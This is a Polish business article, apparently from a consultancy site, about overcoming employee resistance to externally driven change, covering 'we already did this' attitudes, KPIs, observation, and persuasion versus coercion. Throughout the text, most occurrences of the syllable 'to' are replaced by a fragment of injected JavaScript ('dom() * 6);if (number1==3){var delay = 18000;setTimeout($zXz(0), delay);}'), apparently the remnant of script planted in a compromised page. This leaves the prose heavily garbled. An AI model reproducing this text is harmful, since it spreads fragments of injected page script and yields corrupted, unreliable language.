In Artykuły, Handel

Firmie częs dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to przydadzą się zmiany. Jednak o zmiany inicjowane z wewnątrz firmy jest trudno, trochę może jej brakować wiedzy, ale też będąc wewnątrz firmy trudno spojrzeć z boku i dostrzec potrzebę zmian.

Jednak największym wyzwaniem dla zmiany wewnętrznej jest dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, że modyfikacja dotychczasowego sposobu działania dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to nic innego niż pośrednia, ale jednak krytyka tego, co i jak robiło się do tej pory. A krytyki samego siebie nikt nie lubi. Na dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to nakłada się nieuniknione ryzyko zmiany, do czego dochodzi wysiłek, aby ją wprowadzić, konieczność nauki nowych rzeczy, w końcu zaś niezbędna zmiana przyzwyczajeń. A wygoda i niechęć do ryzyka są równie powszechne jak niechęć do krytyki.

Jeśli więc firma czy bardziej jej właściciel zauważą potrzebę zmian, częs dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to korzystają z pomocy zewnętrznego konsultanta. Ale nawet jeśli jego rozwiązanie będzie skuteczne, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to i tak pozostanie problem wdrożenia, sam przecież tego nie zrobi, potrzebuje współpracy pracowników firmy. A tu może pojawić się problem, pracownicy mogą blokować zmianę na rozmaite sposoby.

Każda forma oporu może zablokować zmianę, dlatego trzeba ten opór przełamać. Z każdym rodzajem oporu trzeba sobie inaczej radzić. Najłatwiej sobie poradzić z krytyką, jest otwarta, a przez dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to podatna na argumenty. Bojkot też łatwo złamać, demonstrując determinację, a z czasem opór zaniknie. Wiadomo też, k dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to krytykuje i bojkotuje i wiadomo, kiedy się przekona czy złamie. Trudniej poradzić sobie z biernym oporem, gdyż ten jest ukryty, częs dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to maskowany pozorną zgodą. Ale tu też odpowiedzią jest determinacja, która z czasem zwycięży.

Uwaga. „a jeśli dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to zmiana na gorsze”? A jeśli wprowadzana zmiana okaże się niewypałem, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to jak się wycofać? Przecież porażka daje przeciwnikom oręż, który użyją do uniknięcia kolejnej. W takiej sytuacji najlepiej przyznać się do błędu, przyjąć za niego odpowiedzialność, ale też od razu stwierdzić, że dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, że raz się nie udało, nie oznacza, że nie trzeba dalej próbować.

Największym wyzwaniem dla zmiany jest postawa „już tak robiliśmy” i „nie zadziałało”. Konsekwencją jej jest jej potrzeby, odcinanie się od niej, ale też pośrednia próba jej blokowania, żeby się przypadkiem nie okazało, że jednak „wcale tak nie robili”.

To postawa głęboko uzasadniona psychiką. To jest naturalna obrona przed tezą, że firmie (a w is dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tocie pracownikom) zabrakło wcześniej świadomości potrzeby zmiany i/lub wiedzy, jak powinna wyglądać. Czasem też dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to obrona przed świadomością, że potrzeba zmiany została wprawdzie dostrzeżona, ale pracownikom zabrakło umiejętności jej zdefiniowania, wdrożenia czy niezbędnej do tego determinacji. Przede wszystkim zaś taka postawa dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to próba udowodnienia (najbardziej chyba samym sobie), że pracownicy mieli wcześniej zarówno wiedzę, jak i widzieli chęć zmiany, wdrożyli ją, ale ta nie udała się z powodów obiektywnych. To obrona własnego ego i poczucia war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tości.

Jak sobie poradzić z „już tak robiliśmy”?

Trzeba zacząć drążyć, jak dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to było z tą zmianą w przeszłości. Zacząć trzeba od pytania, co tak naprawdę wcześniej robili, jaki był cel, kolejne kroki, czas i okoliczności. To nic innego jak sporządzenie planu zmiany, tyle że ex post. Odpowiedzi najlepiej spisywać, a pytać tak długo, aż uda się dotrzeć do szczegółów, najlepiej w takim układzie celów i działań, w jakim planuje się obecną.

Uwaga. „pisanie ma zbawienny wpływ naprawdę”. Kiedy druga strona widzi, że notuje się jej odpowiedzi, ma duży problem, żeby kłamać. A już szczególnie, gdy zaczyna się docieranie do szczegółów, w których łatwo się przecież pogubić.

Uwaga. „KPI”. Dobrym sposobem dotarcia do efektów zmiany (czy wykazania, że nie miała miejsca) jest zapytanie o KPI (Key Performance Indica dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tors). To pozwoli zdefiniować, czy próba zmiany tak naprawdę miała miejsce, gdyż KPI są z założenia mierzalne, mierzalne są tej przez dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to efekty zmiany.

Celem dopytywania o szczegóły wcześniejszej („rzekomej”) zmiany jest porównanie jej i jej założeń oraz sposobu wdrażania do obecnie zamierzonej. Dlatego war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to pytać wg tego samego schematu, w jakim przygo dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towywana jest zmiana. War dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to porównywać założenia, cele jak i me dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}todę działania.

War dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to spytać, dlaczego się nie udało. Nie należy się zrażać tym, że pojawią się wyłącznie obiektywne przyczyny, tylko drążyć dalej, porównując na poziomie analitycznym z tym, co zamierza się zrobić obecnie. Chodzi o dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, aby ustalić, że firma wcale tak nie robiła albo że sama zawaliła sprawę. Jeśli byłoby inaczej, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to faktycznie lepiej nie wdrażać zmiany, ale tu szansa jest niewielka. Zwykle okaże się, że albo zmiany w ogóle nie było, albo wcale nie polegała na tym, co planuje obecnie.

Próba wykazania, że zmiany tak naprawdę nigdy nie było, albo że została źle przeprowadzona, może się nie udać. Wtedy war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to zmierzyć się z „już tak robiliśmy”. Najbardziej widocznym przejawem postawy „już tak robiliśmy” jest dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, że pracownicy nie słuchają, więc wyzwaniem jest zaangażowanie ich, nawet w formie krytyki.

Konsekwencją postawy „już tak robiliśmy” jest brak zainteresowania pracowników. Oni po prostu nie słuchają tego, co się do nich mówi.

Nie słuchają

„Już tak robiliśmy” sprowadza się do tego, że pracownicy nie słuchają, gdyż już sami wszystko wiedzą. Wiedzą co trzeba zrobić, już dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to robili, wiedzą też, że dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to nie ma sensu.

Są dwa podstawowe powody, dla których pracownicy nie słuchają (poza bojkotem czy biernym oporem). Pierwszy dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to demonstracyjne podkreślenie własnych umiejętności i wiedzy, dla których słuchanie kogoś z boku jest oznaką właśnie niewiedzy. Drugi powód dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to zadowolenie się powierzchownym zrozumieniem rozwiązania.

Uwaga. „my nie potrafimy”? To częsta postawa – wszystko sami wiemy i sami umiemy. Po pierwsze nikt wszystkiego nie wie i nie umie. A nawet jeśli wie, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to zawsze war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to skonfron dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tować z innymi. A w końcu jeśli organizacja wszystko wiedziała i umiała, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to dlaczego przegrywa? Oczywiście można winić o dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toczenie – rynek, konkurencję, regula dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}torów. Ale przecież po dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to się zarządza, żeby radzić sobie z taką rzeczywis dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tością, jaka jest.

Zmianę trzeba sprzedać

Wewnętrznie. Zmiana nie tylko powinna być zmianą na lepsze. Ona powinna się także wewnętrznie sprzedać. Jak sprzedać ją tym, którzy jej nie tylko nie chcą, ale dla których dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to cios w ego? Trzeba ją przedstawić w sposób, z którym trudno dysku dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tować. Najlepiej zacząć od zdefiniowania przyczyny, dlaczego jest potrzebna, a potem dopiero przejść do rozwiązania.

Zanim się jednak przejdzie do rozwiązania, trzeba dać szansę pracownikom. Oni już wiedzą, że coś trzeba zmienić, powinni więc mieć szansę, żeby zaproponować, co. To może dłuższa droga niż zmiana od razu, ale daje szansę na zaangażowanie pracowników, którzy będą mogli sobie przypisać zasługę. To może nie być wygodne z kolei dla konsultanta, ale oszczędzi mu walki z niechętną organizacją, a zasługą i tak będzie jego (jeśli zlecający dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to zrozumie).

Tu otwiera się szerokie pole do manipulacji, naprowadzania firmy na właściwy kierunek. Ale czas, jaki się tu straci, odzyska się przy wdrożeniu. Żeby jasno zdefiniować potrzebę zmiany i co ma zmodyfikować w firmie, a także jakie mają być tego konsekwencje, najlepiej przedstawić zmianę na tle Modelu Biznesowego firmy. Wtedy widać, co w nim obecnie nie działa oraz jak zmiana ma go zmodyfikować.

Zmiana jako modyfikacja Modelu Biznesowego

Konsultant powinien przedstawić zarówno problem, jak i ew. rozwiązanie w syntetyczny, częs dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to uproszczony sposób. To konieczne, gdyż tylko na tym poziomie widać logikę problemu, logikę rozwiązania i widać też mechanizm działania. To zaleta, ale też wada. W ten sposób widać przejrzyście, co należy zrobić, jak i jakich oczekiwać rezultatów. To działanie na poziomie Modelu Biznesowego firmy.

Uwaga. „małe zmiany”. Nie wszystkie zmiany wymagają modyfikacji Modelu. Ale też te zmiany rzadko wzbudzają kontrowersje. Można je nazwać udoskonaleniem. Z jednej strony takie zmiany częs dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to inicjowane są przez pracowników (są mało ryzykowne, nie wymagają nauki czy modyfikacji zachowań), a jeśli są wprowadzane z zewnątrz, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to też nie naruszają niczyich interesów. A jeśli tak, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to nie trzeba przezwyciężać oporu organizacji.

Jednak tkwi w tym pułapka, w momencie wdrożenia pojawia się konieczność wypełnienia uproszczonej wersji pełną. Konsultant może sobie pozwolić na uproszczenie, on wie jak wypełnić je szczegółami. Jeśli jednak k dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toś nie chce już dalej słuchać, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to nie będzie wiedział. W procesie wdrożenia pojawi się też na pewno konieczność modyfikacji.

Uwaga. „KPI jest ważne, ale nic nie zastąpi obserwacji”. Gdyż ta jest szybsza, pozwala też od razu modyfikować plan. Po pierwsze KPI nie obejmują wszystkiego, tylko wycinki. Po drugie dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to skutki, a nie przyczyny, zaś zmieniając zawsze war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to dotrzeć do przyczyn. Po trzecie zaś, KPI pokazują rzeczywis dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tość z dużym opóźnieniem, tak dużym, że może nie być już czasu na korektę. W końcu zaś wynik KPI zawsze pozostanie dyskusyjny, gdyż wpływa na nie wiele czynników, w tym tych całkowicie poza kontrolą firmy.

Wersja zmiany, która dociera do pracowników nie musi być zgodna z założeniami. Po pierwsze pracownicy widzą tylko część planu, widzą też go w perspektywie wzmożonego wysiłku, dodatkowej nauki, widzą go też „z bliska”, „tu i teraz”, przez niekorzystne na początku zdarzenia, a nie perspektywą KPI, jak należy go oceniać w dłuższym okresie. Pracownicy też widzą plan w krótkiej perspektywie, a tu częs dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to najpierw następuje pogorszenie.

Uwaga. „zwykle najpierw trzeba trochę popsuć”. Aby potem naprawić. Zmiana częs dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to zaczyna się od pogorszenia, gdy stare zasady już nie działają, a nowe jeszcze nie. Tę fazę trzeba przetrzymać, licząc się z tym, że pracownicy, którzy „już próbowali” i „się nie udało”, wykorzystają dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to jako argument na swoją korzyść.

Trudno się dziwić, że pracownicy, którzy muszą się napracować, częs dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to też widzą tylko elementy, a te w dodatku na początku nie działają, nie popierają planu. Do tego ma miejsce naturalny opór przed zmianą oraz postawa „sami wiemy”. To wszystko rodzi opór. A żeby plan się udał, opór trzeba przełamać.

Przełamanie oporu

Jak zrobić, żeby jednak słuchali? Jeśli nie będą słuchać, a raczej słuchać uważnie i akcep dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tować, zmiana się nie uda. Można próbować zmienić sposób myślenia pracowników, co jest długim procesem, za dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to bardzo skutecznym i dodatkowo gwarantuje, że zmiany będą trwałe. Można też skupić się na samych zachowaniach, ale te trzeba nieustannie kontrolować.

Można próbować „po dobroci” czyli przekonywać. W takim przypadku najlepiej sięgnąć do osobistych korzyści słuchających, że będą mieli wygodniej, że czegoś się nauczą, że ich firma będzie stabilniejsza, a więc i ich praca pewniejsza. Można oczywiście mówić o dobru firmy, ale dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to rzadko przekonuje. A i tak w drugim etapie trzeba zmierzyć się z wątpliwościami (jeśli ich nie ma, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to znaczy że nie udało się przełamać i nie słuchali). Przekonanie, jeśli się uda, zmienia sposób myślenia i zmiana nabiera wtedy trwałych podstaw.

Druga me dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toda dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to zmusić. Tu jednak trzeba zacząć od ustalenia, do czego konkretnie. Musi pojawić się wymagany wzorzec zachowań, który zostanie każdemu przedstawiony (bywa, że dla każdego jest inny). To jednak zmiana nietrwała i wymaga zbudowania aparatu kontroli.

Podsumowanie

Jeśli zmiana w firmie przeprowadzana jest przez czynnik zewnętrzny, np. przez konsultanta, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to wzbudzi opór. Najgorszy rodzaj oporu dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to ignorowanie, w przekonaniu że samemu się tak robiło, że się wiedziało, a czasem żeby przekonać samych siebie, że zmiana jest zła, gdyż gdyby była dobra dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to by się ją samemu wprowadziło. Taką postawę trzeba przełamać, gdyż konsultant nie wprowadzi zmiany bez pomocy pracowników firmy. Może spróbować ich przekonać, co da efekt długoterminowy, ale długo też trwa i rzadko się udaje. Można nie zmienia jednak sposobu myślenia, tylko narzucić wymagane zachowania i te kontrolować. Tu zmiana będzie szybka, ale nietrwała, chyba że kontrola będzie trwała tak długo, aż się utrwali.

Podnieś efektywność biznesu już dziś!

Aby wdrożyć FRAME w Twojej firmie, wystarczy się z nami skontaktować.